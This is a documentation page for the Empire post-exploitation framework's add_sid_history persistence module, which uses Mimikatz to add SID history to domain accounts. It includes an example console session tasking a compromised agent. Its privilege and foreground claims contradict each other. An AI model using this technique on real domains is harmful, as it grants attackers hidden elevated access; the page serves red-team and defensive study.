Invoke-Mimikatz Add-SIDHistory - Empire Module

This page contains detailed information about how to use the powershell/persistence/misc/add_sid_history Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: Invoke-Mimikatz Add-SIDHistory
Module: powershell/persistence/misc/add_sid_history
Source code [1]: empire/server/modules/powershell/persistence/misc/add_sid_history.yaml
Source code [2]: empire/server/modules/powershell/persistence/misc/add_sid_history.py
MITRE ATT&CK: T1178, S0194
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: Yes

The add_sid_history module runs PowerSploit's Invoke-Mimikatz function to execute misc::addsid to add sid history for a user. ONLY APPLICABLE ON DOMAIN CONTROLLERS!.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the add_sid_history module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the add_sid_history module:

Agent
Agent to run module on.

ComputerName
Host to execute the module on.

Group
Group/user to add to the sidhistory of the target user.

User
User to add sidhistory for.

Add_sid_history Example Usage

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Here's an example of how to use the add_sid_history module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/add_sid_history

 Author       @JosephBialek                                                          
              @gentilkiwi                                                            
 Background   True                                                                   
 Comments     http://clymb3r.wordpress.com/                                          
              http://blog.gentilkiwi.com                                             
 Description  Runs PowerSploit's Invoke-Mimikatz function to execute misc::addsid to 
              add sid history for a user. ONLY APPLICABLE ON DOMAIN CONTROLLERS!     
 Language     powershell                                                             
 Name         powershell/persistence/misc/add_sid_history                            
 NeedsAdmin   True                                                                   
 OpsecSafe    False                                                                  
 Software     http://attack.mitre.org/software/S0194                                 
 Techniques   http://attack.mitre.org/techniques/T1178                               


,Record Optionsw-------,----------,-------------------------------------,
| Name         | Value | Required | Description                         |
|--------------|-------|----------|-------------------------------------|
| Agent        |       | True     | Agent to run module on.             |
|--------------|-------|----------|-------------------------------------|
| ComputerName |       | True     | Host to execute the module on       |
|--------------|-------|----------|-------------------------------------|
| Group        |       | True     | Group/user to add to the sidhistory |
|              |       |          | of the target user.                 |
|--------------|-------|----------|-------------------------------------|
| User         |       | True     | User to add sidhistory for.         |
'--------------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/persistence/misc/add_sid_history) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/add_sid_history) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/powershell/persistence/misc/add_sid_history) > set Group value
[*] Set Group to value
(Empire: usemodule/powershell/persistence/misc/add_sid_history) > set User user
[*] Set User to user
(Empire: usemodule/powershell/persistence/misc/add_sid_history) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

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• @JosephBialek
• @gentilkiwi

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/add_sid_history.py
• http://clymb3r.wordpress.com/
• http://blog.gentilkiwi.com
• http://attack.mitre.org/software/S0194
• http://attack.mitre.org/techniques/T1178

See Also

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Check also the following modules related to this module:

• powershell/persistence/misc/add_netuser
• powershell/persistence/misc/debugger
• powershell/persistence/misc/disable_machine_acct_change
• powershell/persistence/misc/get_ssps
• powershell/persistence/misc/install_ssp
• powershell/persistence/misc/memssp
• powershell/persistence/misc/skeleton_key
• powershell/collection/vaults/add_keepass_config_trigger
• powershell/privesc/powerup/service_exe_useradd
• powershell/privesc/powerup/service_useradd
• python/situational_awareness/network/dcos/chronos_api_add_job
• powershell/management/get_domain_sid
• powershell/management/sid_to_user
• powershell/management/user_to_sid

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.